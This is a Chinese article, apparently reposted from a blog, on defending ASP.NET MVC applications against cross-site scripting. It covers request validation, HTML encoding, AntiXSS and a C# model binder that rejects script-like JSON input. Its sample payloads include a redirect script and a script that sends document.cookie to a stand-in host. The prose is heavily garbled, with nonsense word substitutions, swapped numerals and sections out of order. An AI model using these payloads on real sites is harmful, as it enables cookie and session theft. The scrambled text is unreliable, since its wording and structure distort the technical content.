简介
跨站脚本攻击(克罗丝Site Scripting),为不和层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里布署恶意Script代码,当用户浏览该页之时,嵌入个中Web里面包车型大巴Script代码会被推行,从而达成恶意抨击用户的出格目标,例如获取用户的Cookie,导航到黑心网址,带领木马等。
然后在Global.asax.cs中注册AjaxModelBinder。
图8
即使使用.Net四.0及以上的版本,那么就无需引进AntiXSS,因为.Net
四.0壹度把AntiXSS集成进来了。若是是别的版本则要求引进。
图3
贰.
出口数据时,对出口的原委采纳HTML编码,恶意脚本不会被实施。而且,MVC的Razor语法默许就应用HTML编码。可是若是大家利用Html.Raw()来输出内容的话,恶意脚本就能够时有发生威慑。
图5
要对$.ajax实行数量印证,笔者从ModelBinder入手。具体代码如下:
图15
图7
1.
交到数据时,就对数码实行验证,如果含有恶意脚本,则不让数据进库,ASP.NET
MVC暗中同意是会做那一个注解。如下图,如若希图插入恶意脚本,就能够拿走二个HttpRequestValidationException。注:图二猩红框中的方法后续会涉及。
图14
数据或许进库,为何吧?我们来商讨下图2红框中的方法。
倘使大家要求允许脚本入库,能够在相应的Action上助长[ValidateInput(false)]。此时恶意脚本还不能够爆发要挟,因为还会有前边叁个阶段的防止措施。
一.
简练的弹窗只怕内容突显。
<script>alert(‘你被黑了!’)</script>
2.
导航到黑心网址。注:这里只是使用百度网址作为导航演示,并不是说百度网址是黑心网址。
<script>window.location.href=’http://www.baidu.com';</script>
3.
获取cookies。
<script>alert(document.cookie)</script>
<script>window.location.href=’http://www.example.com?cookies=document.cookie';</script>
图9
图11
图10
一些黑心脚本
源码下载
为了方便使用,小编从不利用别的数据库,而是用了四个文件来积攒数据。代码下载后得以直接运营,无需配置。
下载地址:https://github.com/ErikXu/XSS
小说转发自:http://www.cnblogs.com/Erik_Xu/p/5403773.html
关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。
图2
图12
谨防XSS的七个阶段
那么,输入数据有恶心脚本时就能够被检查评定出来。
图6
图4
图1
1 public class AjaxModelBinder : DefaultModelBinder
2 {
3 protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
4 {
5 var contentType = controllerContext.HttpContext.Request.ContentType;
6
7 if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
8 value is string &&
9 controllerContext.Controller.ValidateRequest &&
10 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11 {
12 if (IsDangerousString(value.ToString()))
13 {
14 throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15 }
16 }
17
18 return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19 }
20
21 /// <summary>
22 /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23 /// </summary>
24 private static bool IsDangerousString(string str)
25 {
26 var startingChars = new[] { '<', '&' };
27 var startIndex = 0;
28
29 while (true)
30 {
31 var index = str.IndexOfAny(startingChars, startIndex);
32
33 if (index < 0)
34 {
35 return false;
36 }
37
38 if (index == (str.Length - 1))
39 {
40 return false;
41 }
42
43 var ch = str[index];
44
45 if (ch != '&')
46 {
47 if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48 {
49 return true;
50 }
51 }
52
53 else if (str[index + 1] == '#')
54 {
55 return true;
56 }
57
58 startIndex = index + 1;
59 }
60 }
61
62 private static bool IsAtoZ(char c)
63 {
64 return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65 }
66 }
$.ajax数听他们讲明失效?
大家如若大家的须求是不容许含有恶意脚本的数目进库的,不过大家使用了jquey的ajax举办相互。
图13
$.ajax数据印证达成
从图1第22中学,小编猜测MVC会对Request中的以上内容实行认证,可是jquery
ajax的数码是存在Request的Content里面包车型大巴,因而,暗中同意的表明对jquery
ajax并从未效应。
AntiXSS第二方组件
有个别地方
一.
黑心攻击者能够在私有介绍在那之中插入恶意代码,那么别的用户访问他的个人音信时,就能试行恶意代码。
二.
黑心攻击者能够公布一篇小说,取二个引发眼球的标题,在内容里安顿恶意代码,那么用户查看这篇小说时,就能施行恶意代码。
三.
黑心攻击者在局部热点小说或帖子里的回升或留言中插入恶意代码,那么用户浏览到他的过来或留言时,就能够施行恶意代码。